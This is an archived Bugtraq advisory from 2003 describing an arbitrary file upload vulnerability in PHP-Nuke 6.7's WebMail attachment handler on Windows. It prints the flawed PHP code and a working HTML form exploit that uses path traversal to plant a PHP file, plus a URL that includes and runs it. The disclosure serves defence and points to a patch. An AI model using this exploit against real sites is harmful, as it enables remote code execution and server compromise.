bugtraq - PHP-Nuke v 6.7 + Windows = File Upload

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <Law15-F66xNFLTlDH5500007020@hotmail.com>
Date: Sat, 04 Oct 2003 16:33:43 +0200
From: "Frog Man" <leseulfrog@...mail.com>
To: vulnwatch@...nwatch.org, bugtraq@...urityfocus.com
Subject: PHP-Nuke v 6.7 + Windows = File Upload

Informations :
°°°°°°°°°°°°°
Language : PHP
Version : 6.7
Website : http://www.phpnuke.org
Problem : File Upload

PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
modules/WebMail/mailattach.php :
-------------------------------------------------------------------------------------------------------------------

if (isset($userfile) AND $userfile != "none" AND !ereg("/", $userfile) AND 
!ereg("\.\.", $userfile) AND !ereg("%", $userfile)) {
    if (ini_get(file_uploads) AND $attachments == 1) {
	$updir = "tmp";
	@copy($userfile, "$updir/$userfile_name");
	@unlink($userfile);
    }
}

-------------------------------------------------------------------------------------------------------------------

Exploit :
°°°°°°°
Anyone can choose the path, the name and the extention of a file to upload. 
Here the file is saved into http://[target]/modules/AvantGo/language/bad.php 
and can be included and executed with the URL 
http://[target]/modules.php?name=AvantGo&file=langague/bad :

<form 
action="http://[target]/modules/WebMail/mailattach.php?userfile_name=../../AvantGo/language/bad.php" 
method="POST" ENCTYPE="multipart/form-data">
<input type="hidden" name="attachments" value="1">
<input type="file" name="userfile"><br>
<input type="submit" name="Send File>
</form>

It will work with Windows only because the temp name of the file is anything 
like this : c:\temp\php054.TMP so $userfile doesn't contain any '\' 
character.

More details/Solution :
°°°°°°°°°°°°°°°°°°°°
A patch and more details can be found on http://www.phpsecure.info.

frog-m@n

_________________________________________________________________
Hotmail: votre e-mail gratuit ! http://www.fr.msn.be/hotmail